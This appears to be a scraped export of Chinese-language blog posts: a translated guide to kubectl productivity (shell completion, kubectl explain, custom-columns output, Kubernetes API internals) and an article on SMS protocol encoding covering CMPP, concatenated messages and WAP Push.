有了macOS，就会出现轻微的复杂情况。原因是macOS上的Bash默认版本是3.2，这已经过时了。遗憾的是，kubectl完成脚本至少需要Bash 4.1，因此不适用于Bash 3.2。\nApple在macOS中包含过时版本的Bash的原因是较新版本使用Apple不支持的GPLv3许可证。\n这意味着，要在macOS上使用kubectl命令完成，您必须安装较新版本的Bash。您甚至可以将它设为新的默认shell，这将为您节省很多此类麻烦。这实际上并不困难，您可以在我之前编写的macOS文章中的升级Bash中找到说明。\n在继续之前，请确保您现在确实使用的是Bash 4.1或更新版本（请查看bash –version）。\nBash的完成脚本取决于bash-completion项目，因此您必须先安装它。\n您可以使用Homebrew安装bash-completion ：\n$brew install bash-completion@2 bash-completion v2的@2代表。kubectl完成脚本需要bash-completion v2，而bash-completion v2至少需要Bash 4.1。这就是您不能在低于4.1的Bash版本上使用kubectl完成脚本的原因。\n该brew install命令的输出包含一个“警告”部分，其中包含将以下行添加到您的~/.bash_profile文件的说明：\nexport BASH_COMPLETION_COMPAT_DIR=/usr/local/etc/bash_completion.d [[ -r \u0026quot;/usr/local/etc/profile.d/bash_completion.sh\u0026quot; ]] \u0026amp;\u0026amp; . \u0026quot;/usr/local/etc/profile.d/bash_completion.sh\u0026quot; 您必须这样做才能完成bash-completion的安装。但是，我建议将这些行添加到您~/.bashrc文件中而不是~/.bash_profile文件中。这能确保子shell中也可以使用bash-completion。\n重新加载shell后，可以使用以下命令测试是否正确安装了bash-completion：\n$type _init_completion 如果这输出shell函数的代码，那么你就完成了。\n现在，您必须进行设置以便kubectl 完成脚本在所有shell会话中获取。\n一种方法是将以下行添加到您的~/.bashrc文件中：\nsource \u0026lt;(kubectl completion bash) 另一种可能性是将kubectl完成脚本添加到/usr/local/etc/bash_completion.d目录：\n$kubectl completion bash \u0026gt;/usr/local/etc/bash_completion.d/kubectl 这仅在您使用Homebrew安装bash-completion时才有效。在这种情况下，bash-completion会在此目录中提供所有完成脚本。\n如果您还使用Homebrew安装了kubectl，您甚至不必执行上述步骤，因为完成脚本应该已经通过kubectl howbrew formula放在/usr/local/etc/bash_completion.d目录中了。在这种情况下，kubectl完成应该在安装bash-completion后自动开始工作。\n最后，所有这些方法都是等效的。\n重新加载shell后，kubectl完成应该正常工作！\nZsh Zsh的完成脚本没有任何依赖项。因此，您所要做的就是设置所有内容，以便在所有shell会话中获取源代码。\n您可以通过在~/.zshrc文件中添加以下行来完成此操作：\nsource \u0026lt;(kubectl completion zsh) 如果在重新加载shell后出现错误:command not found: compdef，则必须启用compdef内置功能，您可以通过将以下内容添加到~/.zshrc文件的开头来执行此操作：\nautoload -Uz compinit compinit 2. 快速查找资源规范 创建YAML资源定义时，您需要知道这些资源的字段及其含义。一个可以查找到此类信息的位置是在API参考文档中，那里包含了所有资源的完整规范。\n但是，每次需要查找某些内容时都要切换到Web浏览器很乏味。因此，kubectl提供了kubectl explain命令，可以打印出终端中所有资源的资源规范。\nkubectl explain用法如下：\n$kubectl explain resource[.field]... 该命令输出所请求资源或字段的规范。kubectl explain显示的信息与API参考中的信息相同。\n默认情况下，kubectl explain仅显示单个级别的字段。您可以使用显示整个字段树的标志:–recursive：\n$kubectl explain deployment.spec --recursive 如果您不确定可以使用哪些资源名称，可以使用kubectl explain以下命令显示所有这些名称：\n$kubectl api-resources 此命令以复数形式显示资源名称（例如，deployments而不是deployment）。对于拥有短名称的资源，它还显示该资源的短名称（例如：deploy）。不要担心这些差异，对于kubectl来说，所有这些名称变体都是等同的。也就是说，你可以在kubectl explain中使用它们中的任何一个。\n例如，以下所有命令都是等效的：\n$kubectl explain deployments.spec # or $kubectl explain deployment.spec # or $kubectl explain deploy.spec 3. 使用自定义列输出格式 kubectl get命令的默认输出格式（用于读取资源）如下：\n$kubectl get pods NAME READY STATUS RESTARTS AGE engine-544b6b6467-22qr6 1/1 Running 0 78d engine-544b6b6467-lw5t8 1/1 Running 0 78d engine-544b6b6467-tvgmg 1/1 Running 0 78d web-ui-6db964458-8pdw4 1/1 Running 0 78d 这对于人类而言，是一种很好的可读格式，但它只包含有限的信息。如您所见，每个资源只显示一些字段（与完整资源定义相比）。\n这就是自定义列输出格式的用武之地。它允许您自由定义要显示在其中的列和数据。您可以选择要在输出中显示为单独列的资源的任何字段\n自定义列输出选项的用法如下：\n-o custom-columns=\u0026lt;header\u0026gt;:\u0026lt;jsonpath\u0026gt;[,\u0026lt;header\u0026gt;:\u0026lt;jsonpath\u0026gt;]... 您必须将每个输出列定义为一\n\u0026lt;\nheader\u0026gt;:对：\n\u0026lt; header\u0026gt; 是列的名称，您可以选择任何您想要的。\n* 是一个选择资源字段的表达式（在下面更详细地说明）。\n我们来看一个简单的例子：\n$ kubectl get pods -o custom-columns='NAME:metadata.name' NAME engine-544b6b6467-22qr6 engine-544b6b6467-lw5t8 engine-544b6b6467-tvgmg web-ui-6db964458-8pdw4 这里，输出包含一个显示所有Pod名称的列。\n选择Pod名称的表达式是metadata.name。这样做的原因是Pod的名称在Pod资源字段的metadata的name字段中定义（您可以在API参考中查找或使用kubectl explain pod.metadata.name）。\n现在，假设您要在输出中添加一个附加列，例如，显示每个Pod正在运行的节点。为此，您只需向自定义列选项添加适当的列规范：\n$kubectl get pods \\ -o custom-columns='NAME:metadata.name,NODE:spec.nodeName' NAME NODE engine-544b6b6467-22qr6 ip-10-0-80-67.ec2.internal engine-544b6b6467-lw5t8 ip-10-0-36-80.ec2.internal engine-544b6b6467-tvgmg ip-10-0-118-34.ec2.internal web-ui-6db964458-8pdw4 ip-10-0-118-34.ec2.internal 选择节点名称的表达式是spec.nodeName。这是因为已调度Pod的节点保存在Pod的spec.nodeName字段中（请参阅参考资料kubectl explain pod.spec.nodeName）。\n请注意，Kubernetes资源字段区分大小写。\n您可以通过这种方式将资源的任何字段设置为输出列。只需浏览资源规范并尝试使用您喜欢的任何字段！\n但首先，让我们仔细看看这些字段选择表达式。\nJSONPath表达式 选择资源字段的表达式基于JSONPath。\nJSONPath是一种从JSON文档中提取数据的语言（类似于XPath for XML）。选择单个字段只是JSONPath的最基本用法。它有很多功能，如列表选择器，过滤器等。\n但是，kubectl explain仅支持JSONPath功能的一部分。以下通过示例用法总结了这些支持的功能：\n# Select all elements of a list $kubectl get pods -o custom-columns='DATA:spec.containers[*].image' # Select a specific element of a list $kubectl get pods -o custom-columns='DATA:spec.containers[0].image' # Select those elements of a list that match a filter expression $kubectl get pods -o custom-columns='DATA:spec.containers[?(@.image!=\u0026quot;nginx\u0026quot;)].image' # Select all fields under a specific location, regardless of their name $kubectl get pods -o custom-columns='DATA:metadata.*' # Select all fields with a specific name, regardless of their location $kubectl get pods -o custom-columns='DATA:..image' 特别重要的是[]操作符。Kubernetes资源的许多字段都是列表，此运算符允许您选择这些列表中的项目。它通常与通配符一起使用，[*]以选择列表中的所有项目。\n您将在下面找到一些使用此表示法的示例。\n示例应用程序 使用自定义列输出格式的可能性是无穷无尽的，因为您可以在输出中显示资源的任何字段或字段组合。以下是一些示例应用程序，但您可以自己探索并找到对您有用的应用程序！\n提示：如果您经常使用其中一个命令，则可以为其创建shell别名。\n显示Pods的容器镜像 $kubectl get pods \\ -o custom-columns='NAME:metadata.name,IMAGES:spec.containers[*].image' NAME IMAGES engine-544b6b6467-22qr6 rabbitmq:3.7.8-management,nginx engine-544b6b6467-lw5t8 rabbitmq:3.7.8-management,nginx engine-544b6b6467-tvgmg rabbitmq:3.7.8-management,nginx web-ui-6db964458-8pdw4 wordpress 此命令显示每个Pod的所有容器镜像的名称。\n请记住，Pod可能包含多个容器。在这种情况下，单个Pod的容器镜像在同一列中显示为逗号分隔列表。\n显示节点的可用区域 $kubectl get nodes \\ -o custom-columns='NAME:metadata.name,ZONE:metadata.labels.failure-domain\\.beta\\.kubernetes\\.io/zone' NAME ZONE ip-10-0-118-34.ec2.internal us-east-1b ip-10-0-36-80.ec2.internal us-east-1a ip-10-0-80-67.ec2.internal us-east-1b 如果您的Kubernetes群集部署在公共云基础架构（例如AWS，Azure或GCP）上，则此命令非常有用。它显示每个节点所在的可用区域。\n可用区域是云的概念，表示地理区域内的一个可复制点。\n每个节点的可用区域通过特殊标签failure-domain.beta.kubernetes.io/zone获得。如果集群在公共云基础结构上运行，则会自动创建此标签，并将其值设置为节点的可用区域的名称。\n标签不是Kubernetes资源规范的一部分，因此您无法在API参考中找到上述标签。但是，如果将节点输出为YAML或JSON，则可以看到它（以及所有其他标签）：\n$kubectl get nodes -o yaml # or $kubectl get nodes -o json 除了探索资源规范之外，这通常是发现有关资源的更多信息的好方法。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/08/30/kubectl-productivity-part2/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"https://learnk8s.io/blog/kubectl-productivity/\"\u003e《Boosting your kubectl productivity》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e第一部分：\u003ca href=\"https://tonybai.com/2019/08/29/kubectl-productivity-part1/\"\u003e什么是kubectl？\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"1-通过命令完成command-completion减少输入\"\u003e1. 通过命令完成(command completion)减少输入\u003c/h2\u003e\n\u003cp\u003e命令完成是提高你的kubectl生产力的最有用但经常被忽视的技巧之一。\u003c/p\u003e","title":"提高您的kubectl生产力（第二部分）：命令完成、资源规范快速查看和自定义列输出格式"},{"content":"\n本文翻译自《Boosting your kubectl productivity》。\n如果您使用Kubernetes，那么kubectl可能是您最常用的工具之一。每当您花费大量时间使用某种特定工具时，值得深入了解并了解如何有效地使用它。\n本文包含一系列提示和技巧，使您对kubectl的使用更加高效和有效。同时，它旨在加深您对Kubernetes各方面工作的理解。\n本文的目标是让您在Kubernetes的日常工作更高效、更愉快！\n简介：什么是kubectl？ 在学习如何更有效地使用kubectl之前，您应该基本了解它是什么以及它是如何工作的。\n从用户的角度来看，kubectl是控制Kubernetes的驾驶舱。它允许您执行所有可能的Kubernetes操作。\n从技术角度来看，kubectl是Kubernetes API的客户端。\nKubernetes API是一个HTTP REST API。此API是真正的Kubernetes用户接口。通过API我们可以完全控制Kubernetes。这意味着每个Kubernetes操作都作为API端点公开，并且可以通过对此端点的HTTP请求来执行。\n因此，kubectl的主要工作是对Kubernetes API执行HTTP请求\nKubernetes是一个完全以资源为中心的系统。这意味着，Kubernetes保持内部资源状态，所有Kubernetes操作都是对这些资源的CRUD操作。您可以通过操纵这些资源来完全控制Kubernetes（并且Kubernetes根据当前的资源状态确定要做什么）。因此，Kubernetes API的参考文档是按资源类型列表及其关联操作进行组织的。\n让我们考虑一个例子。\n想象一下，您想要创建ReplicaSet资源。为此，您需要在名为replicaset.yaml file 的文件中定义ReplicaSet ，然后运行以下命令：\nkubectl create -f replicaset.yaml 显然，这会在Kubernetes中创建ReplicaSet。但是幕后会发生什么？\nKubernetes具有创建ReplicaSet操作，并且与所有Kubernetes操作一样，它作为API端点公开。此操作的特定API端点如下：\nPOST /apis/apps/v1/namespaces/{namespace}/replicasets 您可以在API参考文档中找到所有Kubernetes操作的API端点（包括上述端点）。要向端点发出实际请求，您需要将API服务器的URL添加到API参考中列出的端点路径。\n因此，当您执行上述命令时，kubectl会向上述API端点发出HTTP POST请求。ReplicaSet定义（您在replicaset.yaml文件中提供的）定义在请求正文中传递。\n这就是kubectl如何适用于与Kubernetes集群交互的所有命令。在所有这些情况下，kubectl只是向适当的Kubernetes API端点发出HTTP请求。\n请注意，完全可以curl通过手动向Kubernetes API发出HTTP请求等工具来控制Kubernetes 。Kubectl让您更容易使用Kubernetes API。\n这些是kubectl的基础知识以及它是如何工作的。但是每个kubectl用户应该知道的Kubernetes API还有很多。为此，让我们简要介绍一下Kubernetes的内部结构。\nKubernetes内部 Kubernetes由一组独立组件组成，这些组件在集群节点上作为单独的进程运行。某些组件在主节点上运行，而其他组件在工作节点上运行，每个组件都有一个非常特定的功能。\n这些是主节点上最重要的组件：\n存储后端：存储资源定义（通常使用etcd） API服务器：提供Kubernetes API并管理存储后端 控制器管理器：确保资源状态符合规范 调度程序：将Pod调度到工作节点 这是工作节点上最重要的组件：\nKubelet：负责管理工作节点上的容器执行 为了了解这些组件如何协同工作，让我们考虑一个例子。\n假设您刚刚执行kubectl create -f replicaset.yaml。kubectl向创建ReplicaSet API端点发送HTTP POST请求（传递ReplicaSet资源定义）。\n集群中有什么影响？观看以下内容：\n图：执行kubectl create -f replicaset.yaml，API服务器将ReplicaSet资源定义保存在存储后端中。\n图：这会触发控制器管理器中的ReplicaSet控制器，后者会监视ReplicaSet资源的创建，更新和删除。\n图：ReplicaSet控制器为ReplicaSet的每个副本创建一个Pod定义（根据ReplicaSet定义中的Pod模板）并将它们保存在存储后端中。\n图：这会触发监视尚未分配给工作节点的Pod的调度程序。\n图：调度程序为每个Pod选择合适的工作节点，并将此信息添加到存储后端中的Pod定义。\n图：这会触发已调度Pod的工作节点上的kubelet，后者监视已调度到其工作节点的Pod。\n图：kubelet从存储后端读取Pod定义，并指示容器运行时（例如Docker）在工作节点上运行容器。\n以下是文字说明。\n创建ReplicaSet端点的API请求由API服务器处理。API服务器对请求进行身份验证，并将ReplicaSet资源定义保存在存储后端中。\n此事件触发ReplicaSet控制器，它是控制器管理器的子进程。ReplicaSet控制器监视存储后端中ReplicaSet资源的创建，更新和删除，并在发生这种情况时通过事件得到通知。\nReplicaSet控制器的工作是确保存在ReplicaSet所需数量的副本Pod。在我们的示例中，尚未存在Pod，因此ReplicaSet控制器会创建这些Pod定义（根据ReplicaSet定义中的Pod模板）并将它们保存在存储后端中。\n新Pod 的创建会触发调度程序，后者监视尚未调度到工作节点的Pod定义。调度程序为每个Pod选择合适的工作节点，并使用此信息更新存储后端中的Pod定义。\n请注意，到目前为止，集群中的任何位置都没有运行工作负载代码。到目前为止所做的就是在主节点上的存储后端创建和更新资源。\n此事件触发监视调度到其工作节点的Pod的kubelet。已安排ReplicaSet Pods的工作节点的kubelet指示已配置的容器运行时（可能是Docker）下载所需的容器映像并运行容器。\n此时，最后，您的ReplicaSet应用程序正在运行！\nKubernetes API的作用 从上面的示例中可以看出，Kubernetes组件（API服务器和存储后端除外）通过监视存储后端中的资源更改和操作存储后端中的资源来工作。\n但是，这些组件不直接访问存储后端，而只能通过Kubernetes API访问存储后端。\n请考虑以下示例：\nReplicaSet控制器使用列表ReplicaSets API端点 API操作以及watch用于监视ReplicaSet资源更改的参数。 ReplicaSet控制器使用create Pod API端点来创建Pod。 调度程序使用修补程序Pod API端点来更新Pod，其中包含有关所选工作节点的信息。 如您所见，这与kubectl也使用的API相同。\nKubernetes API对内部组件和外部用户的双重使用是Kubernetes的基本设计概念。\n有了这些知识，您可以总结Kubernetes的工作原理如下：\n存储后端存储Kubernetes的状态（即资源）。 API服务器以Kubernetes API的形式提供存储后端的接口。 所有其他Kubernetes组件和用户通过Kubernetes API读取，观察和操纵Kubernetes的状态（即资源）。 熟悉这些概念将有助于您更好地理解kubectl并充分利用它！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/08/29/kubectl-productivity-part1/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/kubectl/kubectl-productivity-part1-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自\u003ca href=\"https://learnk8s.io/blog/kubectl-productivity/\"\u003e《Boosting your kubectl productivity》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e如果您使用\u003ca href=\"https://coding.imooc.com/class/chapter/284.html\"\u003eKubernetes\u003c/a\u003e，那么\u003ca href=\"https://tonybai.com/2018/06/14/the-authentication-and-authorization-of-kubectl-when-accessing-k8s-cluster/\"\u003ekubectl\u003c/a\u003e可能是您最常用的工具之一。每当您花费大量时间使用某种特定工具时，值得深入了解并了解如何有效地使用它。\u003c/p\u003e\n\u003cp\u003e本文包含一系列提示和技巧，使您对kubectl的使用更加高效和有效。同时，它旨在加深您对\u003ca href=\"https://tonybai.com/tag/k8s\"\u003eKubernetes\u003c/a\u003e各方面工作的理解。\u003c/p\u003e","title":"提高您的kubectl生产力（第一部分）：什么是kubectl"},{"content":"在上一篇《增值类短信业务图文简介》中，我们介绍了什么是增值类短信业务以及增值类短信的收发流程。在这篇中我们将进一步深入介绍增值类短信收发协议的相关内容，不过重点放在短信内容编码对短信呈现的影响。\n从近两年大火的5G我们可以看到，在移动通信领域规范和标准先行。虽然第一条短信在1992年在实验室就被发了出来，但是这离真正的短信商用还有很长一段距离。之后作为GSM(Global System for Mobile Communications，全球移动通信系统)技术的一个组成部分，GSM规范中对短信内容编码格式作了进一步说明：\nSMS消息内容的最大长度为160个字符（GSM字符集中的7比特字符）或140个八位字节，也可以支持其他字符集，例如UCS-2的16位编码的字符，最多支持70个UCS-2字符长度的消息。处理SMS消息的应用程序必须确保争取的字符集映射。\nSMS消息的接收者不必是移动电话。它可以是一个可以通过网关来处理SMS消息的服务器。 SMS消息可用于传输几乎任何类型的数据（虽然有一个非常严格的大小限制），唯一标准化的是其基于字符的数据格式，字符按照一定的字符集格式进行编码。SMS消息的最大长度为160个字符 （当使用7位字符编码时）或140 字节。但是，SMS消息可以连接起来以形成更长的消息。但如何连接在此GSM规范中并未规范化的明确描述。\n上面GSM规范中关于短信的约束和限制，显然是考虑了短信收发硬件设备、网络带宽等综合因素，但这一约束一直延续至今。当然在短信后续的发展中，通过对短信内容编码格式的扩展，丰富了短信的内容的展现形式，使短信尽可能的满足各种场景的需要。\n一. 按短信内容呈现形式分类 短信内容的呈现形式是通过设置短信协议控制字段、短信内容编码和短信内容共同实现的。我们日常常见的三种短信内容形式如下：\n普通短信 普通短信是指短信内容在70个中文字符以内（含70个字符，采用UCS-2编码或GB2312编码）或160个英文字符以内（含160个字符，采用7比特字符编码）的短信。由于国内工信部要求发送给手机用户的增值类短信必须有“签名”（比如上面截图中的短信开始处的【美团点评】），因此短信实际承载内容要少于70个中文字符或160个英文字符（7bit编码字符）。因此，一旦SP要发送超过如此规定长度的短信，那么普通短信将无法满足,这就有了下面级联短信的需求。\n级联短信（俗称长短信） 对于普通手机用户来说，你可能不会注意到级联短信和普通短信的差别，因为到达手机后，这两种短信都以一条短信的形式呈现，只是级联短信内容较长罢了。我们看到手机上呈现的级联短信虽然是一条，但是其长度已经远超出上述GSM对短信内容长度的规定，这样的短信其实是在手机侧合成的。当某个SP要给某手机用户发送长度超出单条普通短信内容承载长度的短息时，会将超长内容拆分为多条有一定关联性的短信下发。这批短信被手机用户的终端接收后，终端会根据其关联关系将这批短信合并为一条短信显示出来。具体的细节在下面介绍短信协议内容时会详细说明。\nWAPPUSH短信 注意这是一条垃圾短信。现在通过wappush短信发送垃圾信息也是一种趋势，运营商正在这方面加强防范和堵漏。\nWAPPUSH短信是一类特殊格式的短信，它诞生于2.5G时代，那个时候通过手机浏览互联网尚不十分方便，流量贵，带宽还窄。一些服务为了方便手机用户能快速定位到自己的页面，便将携带服务url的内容通过短信下发给手机用户。手机用户点击链接即可打开服务页面。这类短信还可以在用户阅读WAPPUSH短信时自动加载服务页面，而无需用户手动点击内容中的链接。\n彩信通知也是通过这种方式下发到手机用户的。这样手机用户既可以在查看短信时自动在手机上下载并查看彩信，也可以手动点击彩信通知短信中的链接，打开存储彩信内容的服务页面查看彩信内容。\n上面是目前可以见到的最常见的三类短信形式，当然还有类似闪信等不太常见的短信呈现形式，这里就不重点描述了。\n二. 短信相关规范 在上一篇文章中，我们说过SP是通过各大运营商的专用协议连接到运营商的短信网关进行增值类短信下发的，这里就以中国移动的CMPP协议(China Mobile Peer to Peer)为例（版本3.0)进行举例说明。\nCMPP是在TCP之上的基于请求-响应的应用层通信协议，从内容上看，它改编自SMPP规范，但对暴露给SP的字段做了进一步约束；增加了运营商对短信计费相关字段。我们要关注的是CMPP协议的submit包。submit包是SP向短信网关发送的承载短信的协议包，一个submit包可以理解为最终到达手机用户的一条短信（当然submit包也支持群发）。\n1. tp_udhi（用户数据头指示器） 这里我们重点关注的是协议字段对短信内容呈现的影响。**在CMPP submit包中，字段tp_udhi（用户数据头指示器）、msg_fmt（内容编码格式）、msg_length（内容长度）和msg_content（短信内容）**对网关解析短信、手机解析并呈现短信起到了至关重要的作用，因为这几个字段将被后续处理短信的各个网元“透传”直至手机上，并影响着手机对所接受到的短信的解析和呈现。\nCMPP规范描述tp_udhi字段时提到了参考**GSM03.40 中的 9.2.3.23**。在《图解3GPP规范文档组织结构与编号规则》一文中，我们提到过03.40中的03系列文档仅适用于早期GSM系统，如今已经进化到4G、5G时代，我们可以直接参考对应该规范的新版规范23.040，你也可以看到23.040和03.40的Title是一致的，都是”Technical realization of the Short Message Service (SMS)”。\n我们直接打开23.040（这里使用的版本是v12.2.0)文档，定位到9.2.3.23小节，我们看到的就是对tp_udhi字段的说明。在3GPP规范中，tp_udhi只是短信协议数据单元（PDU）第一个字节中的一个bit位，它只有两个值：0和1。当我们将cmpp submit包中的tp_udhi设置为1时，3GPP中短信PDU中的tp_udhi bit位将被置为1，也就是表明在短信内容中携带有短信头结构。如果为0，则内容里不包含短信头结构：\n判断逻辑： tp_udhi bit位是否置为 1? no -\u0026gt; 普通短信； yes -\u0026gt; 内容带有短信头结构的短信（可能是级联短信、可能是wappush短信） 对于普通短信，短信接收侧仅需要根据msg_fmt、msg_length对短信内容进行解析呈现即可。但对于带有短信头结构的短信（tp_udhi bit位置1），还需要进一步分析。\n2. 短信内容中的用户短信头结构 用户短信头结构是一组类TLV格式的数据段。注意这里明确是一组，也就是说短信内容头中支持放置多个数据段（如下图中的part1~partN)。\n如图所示，cmpp submit的msg_length标识了整个短信内容的长度。如果tp_udhi被置为1，即短信内容中包含短信头结构，那么短信内容的第一个字节是UDHL，即后面短信头的长度。短信头可由多个part组成，每个part都是一个类TLV格式的连续数据：IEI、IEIDL、IED。IEI：信息元素标识符，大小为一个字节，相当于TLV中的T(Type)；IEIDL(信息元素数据长度)指示本part中IED的长度，相当于TLV中的L；IED（信息元素数据）是本part中承载的有价值数据，相当于TLV中的V。\n3GPP 23.040定义了一组已知的IEI标准值(9.2.3.24)，我们从中取出几个我们关心的：\n0×00 – Concatenated short messages, 8-bit reference number\n0×04 – Application port addressing scheme, 8 bit address\n0×05 – Application port addressing scheme, 16 bit address\n0×08 – Concatenated short message, 16-bit reference number\n其中0×00和0×08对应的是级联短信；0×04、0×05对应的是WAPPUSH消息，下面我们来逐一详细说明。\n3. 级联短信 前面对级联短信做了简单的诠释：SP将超出普通短信长度的短信拆分为多条短信（每条短信称为该批次级联短信的一个segment），这些短信之间存在关联，当手机用户收到这些短信后，手机上的短信接收程序会将它们重新组装为一条长长的短信并呈现给用户。这里提到的“短信间的关联”就是通过附着在短信内容中的短信头结构实现的。\n3GPP规范定义了将短信连接在一起形成更长短信的标准方式（参考23.040 9.2.3.24.1和9.2.3.24.8）。根23.040规范中的描述，IEI = 0×00和0×08的part是为级联短信服务的。但二者只能选择一种，不能共存。我们分别来说说：\n1) IEI = 0×00即reference number为一个字节的级联短信 上图是一个IEI=0×00的级联短信的例子。当短信为IEI=0×00级联短信的一个segment时，短信内容头部的IEIDL为0×03，IED由三部分组成，每个部分一个字节。它们依次是：\nreference number – 该批次级联短信的唯一标识（0~255），手机端重组短信时，就是使用该字段将一批segment重组在一起的；\nmax number – 该批次级联短信共多少条（0~255）\nsequence number – 当前短信segment是该批次级联短信的第几条（从1开始）,该字段用于在重组短信时为短信segment排序。（0~255）\n2) IEI = 0×08即reference number为两个字节的级联短信 为了减少两条不同的级联短信因reference number的值空间过小导致ref number一致而冲突的情况，3GPP还增加了一个IEI=0×80的增强级联长短信类别。与8bit的ref number相比，仅仅是ref number的长度变长了,由一个字节变为两个字节（值空间由256个变为65536个）。而其他字段的位置和含义完全不变。这里就不赘述了。不过要注意的是打包或解析ref number时要注意字节序转换。\n4. 端口应用类短信 很多朋友会提出：上面图中每条消息的内容组成和网络协议栈怎么很相像呢？都是header + payload！没错！基于短信头结构，我们还可以通过在头结构中放置应用端口号，手机收到短信后，会根据目的应用端口将消息发送给对应的应用或启动对应的应用来处理这条短信，而短信的内容(payload)则是应用所需的数据，这类短信我称之为端口应用类短信。在3GPP 23.040的标准IEI定义表中，IEI=0×04和IEI=0×05就是用于在短信头中携带应用端口信息的，两者不同的是端口号所占字节不同，IEI=0×04对应的port占用1个字节（端口号表示的值空间较小，最大255），而IEI=0×05对应的port占用2个字节（扩展了端口号表示的值空间，最大65535）。我们用一幅图来诠释一下IEI=0×04和IEI=0×05时，短信头结构的样式：\n由于IEI=0×04对应的port值空间有限，因此在实际使用中并不广泛。更多的采用短信协议承载应用数据的使用的是IEI=0×05，即应用端口采用16bit表示。\nWAPPush短信是端口应用类短信的一种，它属于基于短信递送网络(Bearer Network)实现的WAP协议族中的push类应用。所谓Push类应用是用于向驻留在WAP设备（比如手机）上的应用程序传输数据的。这和我们在上面的理解一致，通过短信向手机上的某些应用传递数据，短信内容（去头后）就是应用所需的数据。IANA list一些标准的服务名和端口，可以在这里查询。\n下面我们就以WAPPush类短信为例，看看要传输的应用数据是如何打包在一条短信的内容中的。\n1) WAP协议栈与短信的映射 我们即将从3GPP规范转换到WAP相关规范。WAP（Wireless Application Protocol）是一套基于无线协议的应用协议栈。在2G或2.5G时代以及3G初期，它是无线网络应用的主流。下面是WAP的完整协议栈示意图(来自网络)，也可参考规范《Wireless Application Protocol Architecture Specification》:wap-210-waparch-20010712-a.pdf中的协议栈全图Figure-7（不过不是很清晰）：\n接下来我们要明确WAP协议栈在wappush短信应用时是如何与短信进行映射的：\n在图中我们看到了WAP Push应用与短信的映射关系：\n底层递送网络使用SMS；\nTransport Layer即WDP对应到短信内容头部的一个IE part，在这部分数据中，我们能找到源port和目的port，这与IP网络协议栈中UDP十分类似（参考：《Wireless Datagram Protocol Specification》WAP-259-WDP-20010614-a.pdf 6.3.1和6.3.2）。\n安全层和Transaction layer被省略了，暂无对应。\nWSP(Session layer)对应到短信内容头之后的第一段自定义数据段。这段数据的形式由Type字段确定。以Push类(type=0×06)为例，这段数据包含：tid, type,headerslen,contenttype,headers和data。而data就是真正应用层的数据。（参考：《Wireless Session Protocol Specification》 WAP-230-WSP-20010705-a.pdf 8.1.2、8.2.1、8.2.4.1、8.4.1)\nWAE（application layer)对应的就是wsp承载的data字段，以push为例，这里存放的是应用所需的数据。这里的数据究竟是什么，要根据wsp层的ContentType确定。如果是 “application/vnd.wap.mms-message”，那么data中存放的就是mms notification(彩信通知短信）。\n2) WSP PDU介绍 这里把WSP PDU单独介绍一下，该PDU的字段涉及的内容还是略微复杂的。下面是一个push类的WSP PDU的构成字段示意图：\nTID – Transaction ID uint8类型，标识该PDU所属transaction；\nType – 标识PDU的类型，uint8类型。该字段直接决定了该PDU后面的数据组成格式。WAP规范定义了标准的Type值列表，可参考：《Wireless Session Protocol Specification》 附录A 表34 PDU Type Assignments；这里我们用push类型举例，因此该字段为0×06。\n接下来的数据字段是Push类型wsp pdu特有的，其他type pdu会有不同，但构成类似。熟悉了push类型的pdu字段的解析方式后，其他type的pdu也不是问题了。\nHeadersLen 这个字段指示了push类pdu的header的长度：包括后面的ContentType和Headers的长度之和。值得注意的是该字段是uintvar类型，这是一种带有continue bit的7 bit编码的类型，其解析算法参见《Wireless Session Protocol Specification》 WAP-230-WSP-20010705-a.pdf 8.1.2。uintvar类型在WSP规范中大量出现，可以实现一个独立的函数来读取一个uintvar或写入一个uintvar，便于重用；\nContentType 指示后面Data中的内容类型。ContentType是一个多字节的数据。它也是WSP PDU头部解析的一个难点。WSP要求客户机和服务器之间交换的信息都采用紧缩的编码格式，很多常见字段的name使用了well-known value作替代了，这样可以压缩存储空间，提高传输效率。ContentType字段本身就支持多种值格式，包括well-known value，变长字节数据(以uintvar开头的)或纯文本字符串形式。在WAP-230-WSP-20010705-a.pdf的 8.4.2.24小节有关于ContentType字段值格式的定义。在8.4.1.2中有关于header中field value第一个octet的值以及对应的含义，以帮助你解析Header field value，ContentType也是一个Header field value。这里摘录如下：\nthe first octet in all the field values can be interpreted as follows:\nValue Interpretation of First Octet\n0 - 30 This octet is followed by the indicated number (0 ¨C30) of data octets\n31 This octet is followed by a uintvar, which indicates the number of data octets after it\n32 